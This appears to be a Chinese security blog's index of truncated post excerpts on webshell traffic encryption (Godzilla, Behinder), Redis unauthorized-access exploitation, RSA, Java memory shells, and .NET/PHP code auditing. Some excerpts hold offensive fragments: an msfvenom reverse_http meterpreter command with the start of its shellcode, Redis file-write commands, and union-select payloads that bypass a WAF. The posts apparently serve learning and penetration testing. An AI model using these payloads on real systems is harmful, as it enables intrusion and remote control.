Godzilla二开
Godzilla二开流量加密前言笔者很想自定义一个加密算法,并将其融入到学习的实践中,而在Web安全领域中,自定义加密算法正好适用于流量的混淆加密
遂尝试自定义加密算法以及哥斯拉的二开
加密算法2357笔者首先想的是将明文字符串的每个字符分开,通过unicode表转换为阿拉伯数字,一个个的加密,再使用一个特殊的分隔符号插入到每个加密的密文段中,最后排列后就是密文
加密使用最简单的乘除方法:
如果这个转换的数字能被2、3、5、7整除,那就使用2、3、5、7以及商来代替明文字符如果这个转换的数字不能被2、3、5、7整除,那就用1以及数字本身来代替明文字符
举个例子:
明文字符串: helloUnicode串: 104 101 108 108 111 密文字符串: 252 1101 254 254 337 104=2*52 108=2*54 111=3*37 空格为间隔符
对应的python3加密以及解密函数
def have_2357(n): for i in [2,3,5,7]: ...
Redis 未授权利用组合拳
前言最近在渗透测试中遇到了一些redis未授权利用的一些问题(拿到了Redis权限,但在提权时,shell写不进去,亦或是弹shell弹不出来)
虽然之前在打红日靶场中遇到过redis的站点,但当时没有深究关于redis未授权的问题,所以今日补补当时留下的坑点
基础命令
命令
功能
典型用途
限制版本/条件
config set dir "路径"
设置目录
路径劫持
Redis < 6.2(默认无 ACL)
config set dbfilename "文件名"
设置文件名
文件覆盖
Redis < 6.2(默认无 ACL)
set "键名" "值"
写入内存数据
文件构造
无
save / bgsave
将内存数据持久化到磁盘
文件落地
需持久化功能开启
del "键名"
删除内存中的键
痕迹清理
需配合 flushall 彻底清除
🖥️ 利用方式对比表(Linux / Windows)
系统
写 WebS ...
Behinder流量混淆分析
Behinder4.1流量混淆分析环境配置IDEA来调试分析jar包
配置项目环境
lib目录放入Behinder.jar
添加Modules依赖
从反编译的代码中通过META-INF找到主启动类
配置工件
分析java通过客户端新增shell后右键打开会产生流量,通过关键字寻找到net/rebeyond/behinder/ui/controller下的类文件MainController.class
步入到openShell方法
后步入到MainWindowController.class的initControls方法,步入doConnect方法
首先产生随机长度随机的字符串content,后步入到echo方法
后步入getData方法
经过getParamedClass方法时带入className变量、随机参数content
获取原始字节码
对字节码修改,生成新的类名,进行参数化修改(混淆)
然后加密
配置请求头后发送报文
/svfjTI5ZlRjFGU5LFsHERtTAENRTEkQA08WVVgaEg9NGj1BQVUADQtEAj4yNGNlJF ...
Crypto
CryptoRSARSA是一个非对称加密算法
密钥生成首先,RSA的密钥生成过程产生一对密钥:公钥和私钥。密钥生成的过程包括以下步骤:
**选择两个大素数 p 和 q**:
选择两个大素数 p 和 q。它们应该是难以因式分解的随机数。
**计算模数 n**:
计算 n = p * q。n 是公钥和私钥的一部分,且 n 的长度决定了加密算法的安全性。n 是加密和解密操作中的关键参数。
**计算欧拉函数 φ(n)**:
计算欧拉函数 φ(n),公式为:φ(n)=(p−1)∗(q−1)欧拉函数用于计算私钥。
**选择公钥指数 e**:
选择一个整数 e(通常选取 65537,因为它是一个常用的质数),它必须满足 1 < e < φ(n) 且 gcd(e, φ(n)) = 1,即 e 与 φ(n) 互质。
e 是公钥的一部分,它用于加密操作。
**计算私钥指数 d**:
计算 d,使得: d∗e≡1(modφ(n)),也就是说,d 是 e 关于模 φ(n) 的逆元。d 是私钥的一部分,它用于解密操作。
公钥和私钥的输出:
公钥:(e, n)
私钥:(d, n) ...
心流状态
前言今日无聊时笔者向同事提出了一个问题,用心做事和用脑做事哪个重要
只用脑而不用心,可能会缺乏激情,难以持久,容易忽略细节
只用心而不用脑,会缺乏理性的思考,导致做事没有方向
后来思考发现这个问题需要在不同维度考虑,如果是一件力气活,那么脑袋的作用不是很重要,高中时有值日任务,作为一个网瘾少年,笔者在打扫卫生时会去思考游戏中英雄的连招怎么释放才能更加优雅这种问题,最后呢,因为肌肉记忆的原因,也不会余下垃圾忘记打扫
但如果说写个程序,不用脑袋,那怎么写的下去呢,程序的基本就是逻辑思路,必须要分123步
在问问题时,我没有思考太多,只在本身维度思考了问题,因此在向同事问这个问题的时候,我的心中已有答案了(用脑重要)
邻旁海哥对我的观点没有同意,也没有否认,并跟我提到了一个词叫”心流”(这人怎么这么潇洒啊!)
心流(英语:flow),又称福流,是米哈里·契克森米哈赖在《心流:最优体验心理学》中提出的概念。心流是指人们在做某些事情时表现出的全神贯注、投入忘我的状态。这种状态下,人们甚至感觉不到时间的存在,并且在当前事情完成后产生一种充满能量并且非常满足的感受。米哈里·契克森米哈赖提出心流有八个 ...
Msf-shellcode分析
Msf shellcode分析msfvenom -p windows/meterpreter/reverse_http lhost=192.168.135.141 lport=4444 -f c -o shellcode.c
unsigned char buf[] = "\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89\xe5""\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26""\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49""\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x57\x01\xd0\x8b\x40\x78""\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3"&qu ...
SQL-Bypass
SQL-Bypass前言在一次渗透测试中本人很幸运的发现了SQL注入,但因为云锁、安全🐕的阻挡,一天都在绕Waf中,为了增加自己的经验,尝试了最新版本的云锁绕过
云锁Waf(增强型防护)
Get型字符型注入注入的SQL语句
$SQL = select * from `rapidcmspage` WHERE categoryid="$_GET['ID']" ORDER BY time DESC
拦截union字符串
使用-.1尝试绕过
但union需要与select结合使用,添加select后发包被Waf拦截
拦截 union.*?select,.*?代表可以匹配的任意字符
注释绕过,waf将/**/中间的数据当作注释内容,所以没有拦截,因此绕过了union关键字
order by获取列数为5
id=/*"+union+select+1,2,3,4,5--+*/
使用user()与database()函数
获取表名
id=/*"+union+select+1,2,3,(SELECT%20tabl ...
java内存马
Java内存马Tomcat在描述Tomcat内存马前,先谈谈Java、Servlet、Tomcat这三者的关系
在 Java Web 开发中,Servlet 类是处理 HTTP 请求的核心组件,它提供了许多公开的函数,常用的有 doGet 和 doPost 方法,这些方法用于处理 HTTP 请求的不同类型(Get、Post)。
通过Servlet-Api编写的java程序需要在Servlet容器中运行,而Tomcat实现了Servlet规范,能够加载和运行 Servlet,开启web服务。
Listener型内存马在Servlet的官方文档中存在很多listener监听器
其中有一些监听器都是针对于用户的某个操作类型,比如针对于用户读取文件时,监听器ReadListener发挥作用,当用户写文件时,监听器WriteListener发挥作用,这些只是片面的,如果将ReadListener制作成内存马,只能在读文件时才能执行木马功能,很局限
ReadListener定义了3种方法,当读取的文件判断可读时调用onDataAvailable方法,当读取全部文件后调用onAllDataRead ...
一次.NET代码审计
文章首发于先知社区一次.Net代码审计
0x01目录架构Global.asax用于处理应用程序级别的事件,例如应用程序启动(Application_Start)、会话启动(Session_Start)、应用程序错误(Application_Error)等。
Web.config这是 ASP.NET 应用程序的主要配置文件,用于定义应用程序的配置设置,例如数据库连接字符串、身份验证方式、自定义错误页面等。
bin文件夹放置了编译好的Dll文件,是后端服务接口代码的存放位置
0x02审计SQL盲注——GetByName方法Login.aspx是管理后台进行登陆的代码文件,对应GBLab.Web.dll的Login方法
将该GBLab.Web.dll文件放入ILSpy中反编译
在登陆时候传入的username参数以及password参数分别是txtUserName与txtPassword
通读一下方法代码,GetByName的作用大概是进行数据库查询判断有没有这个username,看看有没有过滤'"这些符号吧
Trim函数代码
public string Trim ...
php代码审计
文章首发于先知社区php代码审计分享
0x01环境搭建web服务器环境的软件有很多,使用最多的还是phpstudy以及宝塔面板,本文采用的是phpstudy。请注意,无论使用phpstudy还是宝塔面板,都需要按照网站源码的设计要求,修改环境配置,不然网站会搭建失败。
0x02思路审计一个源码,最重要的是路由问题。一个功能点,如果找不到对应的功能代码,那审计的作用还有吗?
当然,没有使用框架的网站源码是没有路由效果的,直接通过url找目录路径文件就可以了
举个例子
一个网站的登录接口为 http://127.0.0.1/admin/login.php ,那么对应的源码就在admin目录下的login.php内
那如果使用了框架,情况就复杂起来了,需要了解这个源码使用框架的目录结构,thinkphp8.0框架的目录结构如下(源配置路径:https://doc.thinkphp.cn/v8_0/directory_structure.html),接口函数基本上在app下的controller文件夹下
www WEB部署目录(或者子目录)├─app 应用目录│ ├─c ...